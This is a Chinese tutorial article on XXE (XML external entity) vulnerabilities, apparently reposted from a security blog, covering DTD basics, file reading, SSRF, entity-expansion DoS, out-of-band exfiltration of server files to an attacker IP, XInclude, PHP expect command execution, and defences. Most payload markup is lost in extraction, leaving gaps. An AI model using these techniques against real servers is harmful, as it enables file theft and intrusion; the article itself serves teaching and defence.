java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见
作者:激越王
預估稿費:400RMB
投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿
你是否聽說過xml注入攻擊呢,或者對它只知其一不知其二呢?
現在讓我們從xml相關基礎知識開始,一步步了解xml攻擊的原理和方式。
這篇文章主要針對掃盲,請大佬們輕噴,有錯誤的地方歡迎指出。
XML 被設計為傳輸和存儲數據,其焦點是數據的內容。
HTML 被設計用來顯示數據,其焦點是數據的外觀。
XML 把數據從 HTML 分離。
XML 是獨立于軟件和硬件的信息傳輸工具。
Everyday?Italian??????Giada?De?Laurentiis???????
2005?
30.00?
XML 中,一些字符擁有特殊的意義。為了避免這個錯誤,請用實體引用來代替特殊字符
附表一
附表一注釋:在 XML 中,只有字符 "
合法的 XML 文檔是“形式良好”的 XML 文檔,同樣遵守文檔類型定義 (DTD) 的語法規則。
DTD介紹
文檔類型定義(DTD)可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。
DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用。
帶有 DTD 的 XML 文檔實例
note?[
]>
Dave
Tom
實例
源碼
當DTD 位于 XML 源文件的外部,通過下面的語法被封裝在一個 DOCTYPE 定義中
root-element?SYSTEM?"filename">
外部DTD實例
note?SYSTEM?"note.dtd">
Dave
Tom
Reminder
"note.dtd" 文件
實例
源碼
dtd文件
PCDATA 的意思是被解析的字符數據(parsed character data)。PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記。文本中的標簽會被當作標記來處理,而實體會被展開。不過,被解析的字符數據不應當包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 實體來分別替換它們。
CDATA 的意思是字符數據(character data)。CDATA 是不會被解析器解析的文本。在這些文本中的標簽不會被當作標記來對待,其中的實體也不會被展開。
DTD元素
備注:由于僅僅是擴展,所以僅展示一些常用的元素語法
DTD – 屬性
屬性聲明使用下列語法:
DTD 實例:
XML 實例:
以下是屬性類型的選項:
默認值參數可使用下列值:
DTD – 實體(重要)
實體是用于定義引用普通文本或特殊字符的快捷方式的變量。
實體引用是對實體的引用。
實體可在內部或外部進行聲明。
Schema 介紹(XSD)
XML Schema 是基于 XML 的 DTD 替代者。
XML Schema 描述 XML 文檔的結構。
XML Schema 語言也可作為 XSD(XML Schema Definition)來引用
攻擊套路
一般技巧:
1.引用外部實體遠程文件讀取
2.URL請求(可借此發起ssrf)
3.參數實體
4.通過 XInclude 包含外部資源
5.DoS
1. 外部實體引用
通過外部實體引用,可以獲取遠程文件內容
本地實驗:
test.txt 文件中的內容就是 123123admin
但是有個問題,如果文件內容格式太過復雜,就會導致 xml 解析失敗(比如內容里含有 空格、一些特殊字符 < > & ; 之類的文件)
這個其實有繞過方法的,如上文所述,可以利用 參數實體,具體的內容后面介紹
還有一個我們知道的方法,就是使用 php 偽協議,php://filter 讀取文件內容( 文件內容經過 base64 過濾器,就是全字符的,沒有格式干擾)
2. URL 請求(ssrf)
直接使用外部實體引用就可以發起一個請求,原因是很多 xml 解析器讀取到引用外部文件的模塊時,就會強制性發出請求
本地實驗:
首先在 172.16.169.153 監聽 1231 端口:
在 172.16.169.142 利用 xml 發出請求(將 xml 放入瀏覽器即可)
如上圖,瀏覽器一直處于加載內容狀態,這是因為 153 的機器上沒有返回信息…
172.16.169.153 的 1231 端口狀態:
這個 ssrf 可以值得注意一下,因為對 xml 的攻擊中,大都是使用 外部實體引用,那么如果直接加載 xml 的時候,禁止外部實體引用呢?
這種情況下,大多數攻擊都會失效,但是 ssrf 不會
別忘了請求外部資源還有一種方式,直接使用 DOCTYPE
3. DoS
任何能大量占用服務器資源的方法都可以造成 DoS,這個的原理就是遞歸引用
lol 實體具體還有 "lol" 字符串,然后一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 "lol" 了,以此類推,lol9 實體含有 10^8 個 "lol" 字符串…
那么,引用 lol9,boom…
4. 參數實體
參數實體,之前在遠程文件讀取的介紹中,可以繞過文件內容復雜導致解析失敗的限制
參數實體以%開頭 我們使用參數實體只需要遵循兩條原則:
1.參數實體只能在DTD聲明中使用。 2.參數實體中不能再引用參數實體。
如圖,/etc/fstab 是一個內容復雜的文件,如果直接利用 SYSTEM 請求遠程文件會解析出錯的,也就是讀不到文件內容。
那么就可以使用參數實體進行繞過 xml 嚴格的語法規則
其實流程很簡單:
start 參數實體的內容:
goodies 參數實體的內容: file:///etc/fastab (使用 file 協議讀取文件)
end 參數實體的內容:]]>
然后接著定義了一個 dtd 參數實體,使用 SYSTEM 發出獲取 combine.dtd 的內容
并且在 DTD 內部引用了 dtd 參數實體,那么這個時候,源文件中的 DTD 應該是這樣:
">
最后,再由源文件中引用 all 普通實體引發文件讀取:
其中這個 CDATA 的意思是為 文件內容添加屬性:不被解析的普通字符
這樣,參數實體的引用就不需要在xml文檔解析的時候保持xml閉合,xml 解釋器就會直接忽略文件內容的語法規則,達到了繞過的目的
攻擊方ip:
http://192.168.229.130/
eval.dtd
1.php
服務器IP
http://192.168.229.128/
2.php
在攻擊方的WEB目錄上有一個叫做eval.dtd文件用于攻擊,然后在服務器上傳2.php,執行2.php
報錯沒關系。
下面看一下代碼:
1.php:
簡單的接受get參數傳的內容然后保存在1.txt下
EVAL.DTD文件的內容為
這里注意使用參數實體時,在引用實體的格式中需要編碼用%代替 %,由于嵌套引用外部參數實體,如果直接利用%,在引用的時候會導致找不到該參數實體名稱
作用為將接受到外部file實體應用到1.php?file=的%file上
這樣在服務器上傳來的內容就會傳到file參數上然后保存到1.txt上
在2.PHP文件中
第一個ENTITY用于讀取服務器本地文件test.txt
第二個用于引用遠程dtd文件
然后在實體利用上需要注意順序,先執行名為dtd實體引用攻擊方eval.dtd的代碼獲得了實體send的執行方式http://192.168.229.130/1.php?file=%file;
然后將file實體獲得的內容引用到192.168.229.130/1.php?file
至此攻擊完成,攻擊方服務器以保存了1.txt
這里提一下前面說過的,在讀取文件的時候當存在空格,尖括號的時候這種直接讀取內容的方式會報錯
顯示無效url,抓包時抓不到在瀏覽器上訪問http://192.168.229.130/1.php?file=blessing software的包
結合之前的的協議應用,可以使用常用的php://filter讀取base64編碼
如下
解碼即可。
只是選了幾個協議作為例子,這里的協議都能使用。
這里附加幾個關于xxe漏洞的英文文檔和實例:
5. 通過 Xinclude 包含外部資源
基于XInclude的文件包含,使用的另一套 xml 語法約束:XML schema
XInclude提供了一種較為方便的取回數據的思路(再也不用擔心數據不完整而導致parser拋出一個錯誤)而我們能夠通過parse屬性,強制引用文件的類型。
不過Xinclude需要手動開啟,測試發現所有xml parser都默認關閉這一特性。
PHP 和 JAVA 環境
php 支持的擴展協議
Java&Xerces
默認的Oracle's Java Runtime Environment下的XML parser是Xerces,一個apache的項目。而Xerces和Java提供了一系列的特性,這些特性又能導致一些嚴重的安全問題。上述的那些攻擊手法(DOCTYPEs for SSRF,文件讀取,參數實體的外帶數據)在java的默認配置下能夠運用自如,java/Xerces也支持XInclude 但是需要setXIncludeAware(true) 和setNamespaceAware(true)。
php&expect的RCE
很遺憾,這個擴展并不是默認安裝的,然而安裝了這個擴展的XXE漏洞,是能夠執行任意命令。
root[]>
&cmd;
還有 python、.net 環境等
防御
1 直接使用開發語言提供的禁用外部實體的方法
這樣其實沒法防御 xml 制造的 ssrf
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory?dbf?=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from?lxml?import?etree
xmlData?=?etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2 過濾用戶提交的 xml 數據
敏感關鍵詞:
總結
XML 攻擊大都是由解析器發出外部資源請求而造成的,還有結合一些協議的特性可以輕松繞過 xml 格式要求。其中主要的關鍵字 DOCTYPE(DTD的聲明),ENTITY(實體的聲明), SYSTEM、PUBLIC(外部資源申請)。
由與 普通實體 和 參數實體 的靈活引用,從而引發各種套路
資料來源
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: oel 7.0 安装 mysql 5_在
- 下一篇: 高斯消元法的c语言编程,列主元高斯消元法